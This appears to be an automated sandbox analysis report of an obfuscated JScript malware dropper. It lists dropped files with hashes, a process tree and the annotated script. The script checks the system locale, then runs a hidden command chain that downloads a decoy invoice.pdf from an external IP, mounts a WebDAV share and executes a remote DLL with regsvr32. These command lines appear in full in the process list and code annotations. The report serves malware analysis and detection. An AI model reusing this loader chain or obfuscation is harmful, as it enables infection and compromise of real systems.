).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d1158184-a78d-4954-9e87-62f70b800236.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14670), with CRLF line terminators
Entropy (8bit):	4.932143371239569
TrID:
File name:	326391126385512788.js
File size:	18'281 bytes
MD5:	7e8fc0b49b5d4575ded26c0ae7082491
SHA1:	ddba4d6683e69ee8516fd32bd77fe3c0a4401caa
SHA256:	c527049716c424715cee22761c7e1d8a0992de0ad79ca95a70b20195368fb5bf
SHA512:	dafd0809bee9c0b5d1721ca54a8d26ccd0bdbb9b708937201f5c419cfcf241ebe326ef6fefc3fc9b04e1b64590acb23a7e4fc80aeff32ee1b4c49e0c73ad7494
SSDEEP:	384:dk6QNBmNLYyJ6QNPYL3gxOLR1oiVN1Gb4rloop3E1O/ehzeYf0Y:L01RKQrlooCOmhzeYfZ
TLSH:	CF82AA09D926AD2689E3F8619ACD1CFFACE9435C9F6C50AE2DCB3094014DE10D9EF5B1
File Content Preview:	function zdytw(){bxukqkuw=[1031,3079,5127,4103,2055,3072];var oahysq=this[wawszntqw+nepwzxb+nxseyffh+xbgwjucz+bcizgiwrd+lrvohc+kfkaaeu+pshzfm](this[pigyyytk+folqynep+mflnqo+nxseyffh+ejtlrh+wawszntqw+pshzfm][zumckk+nxseyffh+bcizgiwrd+nepwzxb+pshzfm+bcizgiw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	20:02:04
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\326391126385512788.js"
Imagebase:	0x7ff64af00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll
Imagebase:	0x7ff689560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:02:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:02:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:02:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff689560000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:02:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b4b70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:02:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:02:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:02:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1600,i,2750475572137586362,7990639224416552901,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zdytw() {	zdytw() ➔ undefined
1	bxukqkuw = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var oahysq = this[wawszntqw + nepwzxb + nxseyffh + xbgwjucz + bcizgiwrd + lrvohc + kfkaaeu + pshzfm] ( this[pigyyytk + folqynep + mflnqo + nxseyffh + ejtlrh + wawszntqw + pshzfm][zumckk + nxseyffh + bcizgiwrd + nepwzxb + pshzfm + bcizgiwrd + frsqqdcph + xyhstmu + plhyrz + bcizgiwrd + mflnqo + pshzfm] ( pigyyytk + folqynep + mflnqo + nxseyffh + ejtlrh + wawszntqw + pshzfm + fgffi + folqynep + vqjcoikc + bcizgiwrd + ycdgdbxw + ycdgdbxw ) [mjgsm + bcizgiwrd + wqhmmycz + mjgsm + bcizgiwrd + nepwzxb + srgasllje] ( xndadyyor + zubbvsip + xcixi + gepfeung + pctrjzs + zumckk + juqfuzd + mjgsm + mjgsm + xcixi + gfviko + quzpqz + pctrjzs + juqfuzd + folqynep + xcixi + mjgsm + phogomtpt + zumckk + buximnh + kfkaaeu + pshzfm + nxseyffh + buximnh + ycdgdbxw + fbexweauz + npgnkiqe + nepwzxb + kfkaaeu + bcizgiwrd + ycdgdbxw + phogomtpt + lrvohc + kfkaaeu + pshzfm + bcizgiwrd + nxseyffh + kfkaaeu + nepwzxb + pshzfm + ejtlrh + buximnh + kfkaaeu + nepwzxb + ycdgdbxw + phogomtpt + quiuw + buximnh + mflnqo + nepwzxb + ycdgdbxw + bcizgiwrd ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rxpgxay = 0 ; rxpgxay < bxukqkuw[ycdgdbxw + bcizgiwrd + kfkaaeu + wqhmmycz + pshzfm + vqjcoikc] ; ++ rxpgxay )
4	{
5	if ( oahysq == bxukqkuw[rxpgxay] )
6	{
7	oahysq = true;
8	break ;
9	}
10	}
11	if ( oahysq !== true )
12	this[pigyyytk + folqynep + mflnqo + nxseyffh + ejtlrh + wawszntqw + pshzfm][ihrahgywm + xqceb + ejtlrh + pshzfm] ( );
13	this[pigyyytk + folqynep + mflnqo + nxseyffh + ejtlrh + wawszntqw + pshzfm][zumckk + nxseyffh + bcizgiwrd + nepwzxb + pshzfm + bcizgiwrd + frsqqdcph + xyhstmu + plhyrz + bcizgiwrd + mflnqo + pshzfm] ( pigyyytk + folqynep + mflnqo + nxseyffh + ejtlrh + wawszntqw + pshzfm + fgffi + folqynep + vqjcoikc + bcizgiwrd + ycdgdbxw + ycdgdbxw ) [nxseyffh + xqceb + kfkaaeu] ( mflnqo + ctyfbmgiw + srgasllje + fbexweauz + nmnsdez + mflnqo + fbexweauz + wawszntqw + buximnh + ixnnd + bcizgiwrd + nxseyffh + xbgwjucz + vqjcoikc + bcizgiwrd + ycdgdbxw + ycdgdbxw + fgffi + bcizgiwrd + rhphzcri + bcizgiwrd + fbexweauz + genfor + zumckk + buximnh + ctyfbmgiw + ctyfbmgiw + nepwzxb + kfkaaeu + srgasllje + fbexweauz + qmkerlhf + lrvohc + kfkaaeu + znrrherf + buximnh + vyyhz + bcizgiwrd + genfor + pigyyytk + bcizgiwrd + xyhstmu + mjgsm + bcizgiwrd + yvifbjdj + xqceb + bcizgiwrd + xbgwjucz + pshzfm + fbexweauz + genfor + frsqqdcph + xqceb + pshzfm + ndjomoua + ejtlrh + ycdgdbxw + bcizgiwrd + fbexweauz + qfajha + pshzfm + bcizgiwrd + ctyfbmgiw + wawszntqw + qfajha + phogomtpt + ejtlrh + kfkaaeu + znrrherf + buximnh + ejtlrh + mflnqo + bcizgiwrd + fgffi + wawszntqw + srgasllje + crqtx + fbexweauz + vqjcoikc + pshzfm + pshzfm + wawszntqw + uzpvfqer + nmnsdez + nmnsdez + umwgtgtfh + nklbnb + adtdobx + fgffi + umwgtgtfh + ndxnj + adtdobx + fgffi + umwgtgtfh + fgffi + harhp + hfykmb + mtcne + nmnsdez + ejtlrh + kfkaaeu + znrrherf + buximnh + ejtlrh + mflnqo + bcizgiwrd + fgffi + wawszntqw + vqjcoikc + wawszntqw + qmkerlhf + fisscjn + fisscjn + xbgwjucz + pshzfm + nepwzxb + nxseyffh + pshzfm + fbexweauz + qfajha + pshzfm + bcizgiwrd + ctyfbmgiw + wawszntqw + qfajha + phogomtpt + ejtlrh + kfkaaeu + znrrherf + buximnh + ejtlrh + mflnqo + bcizgiwrd + fgffi + wawszntqw + srgasllje + crqtx + fisscjn + fisscjn + mflnqo + ctyfbmgiw + srgasllje + fbexweauz + nmnsdez + mflnqo + fbexweauz + kfkaaeu + bcizgiwrd + pshzfm + fbexweauz + xqceb + xbgwjucz + bcizgiwrd + fbexweauz + phogomtpt + phogomtpt + umwgtgtfh + nklbnb + adtdobx + fgffi + umwgtgtfh + ndxnj + adtdobx + fgffi + umwgtgtfh + fgffi + harhp + hfykmb + mtcne + qweloopk + unwqmas + unwqmas + unwqmas + unwqmas + phogomtpt + srgasllje + nepwzxb + znrrherf + ixnnd + ixnnd + ixnnd + nxseyffh + buximnh + buximnh + pshzfm + phogomtpt + fisscjn + fisscjn + mflnqo + ctyfbmgiw + srgasllje + fbexweauz + nmnsdez + mflnqo + fbexweauz + nxseyffh + bcizgiwrd + wqhmmycz + xbgwjucz + znrrherf + nxseyffh + adtdobx + harhp + fbexweauz + nmnsdez + xbgwjucz + fbexweauz + phogomtpt + phogomtpt + umwgtgtfh + nklbnb + adtdobx + fgffi + umwgtgtfh + ndxnj + adtdobx + fgffi + umwgtgtfh + fgffi + harhp + hfykmb + mtcne + qweloopk + unwqmas + unwqmas + unwqmas + unwqmas + phogomtpt + srgasllje + nepwzxb + znrrherf + ixnnd + ixnnd + ixnnd + nxseyffh + buximnh + buximnh + pshzfm + phogomtpt + adtdobx + umwgtgtfh + mxrhlogjl + harhp + nklbnb + umwgtgtfh + mtcne + ndxnj + ndxnj + hdvqendw + umwgtgtfh + nklbnb + hdvqendw + unwqmas + mxrhlogjl + fgffi + srgasllje + ycdgdbxw + ycdgdbxw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\317291544619687.dll",0,false) ➔ 0
14	}
15	unwqmas = "a";
16	unwqmas = "B";
17	unwqmas = "q";
18	unwqmas = "n";
19	unwqmas = "8";
20	npgnkiqe = "d";
21	npgnkiqe = "O";
22	npgnkiqe = "a";
23	npgnkiqe = "k";
24	npgnkiqe = "B";
25	npgnkiqe = "b";
26	npgnkiqe = "G";
27	npgnkiqe = "P";
28	npgnkiqe = "A";
29	npgnkiqe = "a";
30	npgnkiqe = "M";
31	npgnkiqe = "z";
32	npgnkiqe = "E";
33	npgnkiqe = "G";
34	npgnkiqe = "D";
35	npgnkiqe = "k";
36	npgnkiqe = "S";
37	npgnkiqe = "x";
38	npgnkiqe = "L";
39	npgnkiqe = "m";
40	npgnkiqe = "U";
41	npgnkiqe = "H";
42	npgnkiqe = "P";
43	nepwzxb = "a";
44	mjgsm = "I";
45	mjgsm = "F";
46	mjgsm = "n";
47	mjgsm = "G";
48	mjgsm = "n";
49	mjgsm = "y";
50	mjgsm = "H";
51	mjgsm = "a";
52	mjgsm = "f";
53	mjgsm = "A";
54	mjgsm = "d";
55	mjgsm = "s";
56	mjgsm = "P";
57	mjgsm = "o";
58	mjgsm = "R";
59	mjgsm = "l";
60	mjgsm = "T";
61	mjgsm = "s";
62	mjgsm = "u";
63	mjgsm = "d";
64	mjgsm = "b";
65	mjgsm = "e";
66	mjgsm = "W";
67	mjgsm = "b";
68	mjgsm = "w";
69	mjgsm = "f";
70	mjgsm = "N";
71	mjgsm = "E";
72	mjgsm = "C";
73	mjgsm = "z";
74	mjgsm = "P";
75	mjgsm = "p";
76	mjgsm = "q";
77	mjgsm = "A";
78	mjgsm = "F";
79	mjgsm = "F";
80	mjgsm = "p";
81	mjgsm = "D";
82	mjgsm = "S";
83	mjgsm = "H";
84	mjgsm = "p";
85	mjgsm = "R";
86	zubbvsip = "D";
87	zubbvsip = "m";
88	zubbvsip = "g";
89	zubbvsip = "H";
90	zubbvsip = "z";
91	zubbvsip = "Q";
92	zubbvsip = "y";
93	zubbvsip = "L";
94	zubbvsip = "h";
95	zubbvsip = "g";
96	zubbvsip = "t";
97	zubbvsip = "o";
98	zubbvsip = "S";
99	zubbvsip = "A";
100	zubbvsip = "O";
101	zubbvsip = "W";
102	zubbvsip = "U";
103	zubbvsip = "R";
104	zubbvsip = "W";
105	zubbvsip = "B";
106	zubbvsip = "K";
107	frsqqdcph = "m";
108	frsqqdcph = "C";
109	frsqqdcph = "V";
110	frsqqdcph = "d";
111	frsqqdcph = "c";
112	frsqqdcph = "K";
113	frsqqdcph = "U";
114	frsqqdcph = "U";
115	frsqqdcph = "a";
116	frsqqdcph = "e";
117	frsqqdcph = "J";
118	frsqqdcph = "K";
119	frsqqdcph = "r";
120	frsqqdcph = "G";
121	frsqqdcph = "g";
122	frsqqdcph = "S";
123	frsqqdcph = "Q";
124	frsqqdcph = "o";
125	frsqqdcph = "O";
126	qfajha = "k";
127	qfajha = "M";
128	qfajha = "B";
129	qfajha = "G";
130	qfajha = "F";
131	qfajha = "w";
132	qfajha = "U";
133	qfajha = "W";
134	qfajha = "E";
135	qfajha = "h";
136	qfajha = "c";
137	qfajha = "A";
138	qfajha = "t";
139	qfajha = "Y";
140	qfajha = "r";
141	qfajha = "c";
142	qfajha = "t";
143	qfajha = "e";
144	qfajha = "p";
145	qfajha = "x";
146	qfajha = "k";
147	qfajha = "%";
148	uzpvfqer = "i";
149	uzpvfqer = "p";
150	uzpvfqer = "H";
151	uzpvfqer = "m";
152	uzpvfqer = "u";
153	uzpvfqer = "M";
154	uzpvfqer = "n";
155	uzpvfqer = "E";
156	uzpvfqer = "b";
157	uzpvfqer = "E";
158	uzpvfqer = "h";
159	uzpvfqer = "S";
160	uzpvfqer = "r";
161	uzpvfqer = "T";
162	uzpvfqer = "w";
163	uzpvfqer = "t";
164	uzpvfqer = "M";
165	uzpvfqer = "y";
166	uzpvfqer = "V";
167	uzpvfqer = "M";
168	uzpvfqer = "J";
169	uzpvfqer = "a";
170	uzpvfqer = "y";
171	uzpvfqer = "e";
172	uzpvfqer = "U";
173	uzpvfqer = "y";
174	uzpvfqer = "h";
175	uzpvfqer = "q";
176	uzpvfqer = "p";
177	uzpvfqer = "D";
178	uzpvfqer = "j";
179	uzpvfqer = "s";
180	uzpvfqer = "V";
181	uzpvfqer = "N";
182	uzpvfqer = "w";
183	uzpvfqer = "F";
184	uzpvfqer = "N";
185	uzpvfqer = "F";
186	uzpvfqer = "v";
187	uzpvfqer = "Q";
188	uzpvfqer = "i";
189	uzpvfqer = "R";
190	uzpvfqer = ":";
191	znrrherf = "n";
192	znrrherf = "G";
193	znrrherf = "n";
194	znrrherf = "y";
195	znrrherf = "n";
196	znrrherf = "m";
197	znrrherf = "D";
198	znrrherf = "u";
199	znrrherf = "H";
200	znrrherf = "I";
201	znrrherf = "u";
202	znrrherf = "o";
203	znrrherf = "T";
204	znrrherf = "R";
205	znrrherf = "y";
206	znrrherf = "m";
207	znrrherf = "e";
208	znrrherf = "E";
209	znrrherf = "i";
210	znrrherf = "p";
211	znrrherf = "G";
212	znrrherf = "q";
213	znrrherf = "v";
214	znrrherf = "f";
215	znrrherf = "w";
216	znrrherf = "f";
217	znrrherf = "z";
218	znrrherf = "v";
219	genfor = "H";
220	genfor = "L";
221	genfor = "o";
222	genfor = "L";
223	genfor = "-";
224	xndadyyor = "r";
225	xndadyyor = "w";
226	xndadyyor = "h";
227	xndadyyor = "H";
228	adtdobx = "j";
229	adtdobx = "Z";
230	adtdobx = "M";
231	adtdobx = "Q";
232	adtdobx = "3";
233	nxseyffh = "J";
234	nxseyffh = "r";
235	xqceb = "u";
236	xqceb = "q";
237	xqceb = "V";
238	xqceb = "Z";
239	xqceb = "O";
240	xqceb = "j";
241	xqceb = "q";
242	xqceb = "O";
243	xqceb = "e";
244	xqceb = "H";
245	xqceb = "a";
246	xqceb = "r";
247	xqceb = "c";
248	xqceb = "m";
249	xqceb = "m";
250	xqceb = "P";
251	xqceb = "z";
252	xqceb = "C";
253	xqceb = "E";
254	xqceb = "o";
255	xqceb = "F";
256	xqceb = "W";
257	xqceb = "O";
258	xqceb = "W";
259	xqceb = "J";
260	xqceb = "P";
261	xqceb = "O";
262	xqceb = "i";
263	xqceb = "l";
264	xqceb = "c";
265	xqceb = "Z";
266	xqceb = "y";
267	xqceb = "E";
268	xqceb = "T";
269	xqceb = "H";
270	xqceb = "k";
271	xqceb = "u";
272	pctrjzs = "q";
273	pctrjzs = "N";
274	pctrjzs = "D";
275	pctrjzs = "D";
276	pctrjzs = "w";
277	pctrjzs = "Y";
278	pctrjzs = "K";
279	pctrjzs = "C";
280	pctrjzs = "a";
281	pctrjzs = "M";
282	pctrjzs = "A";
283	pctrjzs = "Y";
284	pctrjzs = "p";
285	pctrjzs = "v";
286	pctrjzs = "x";
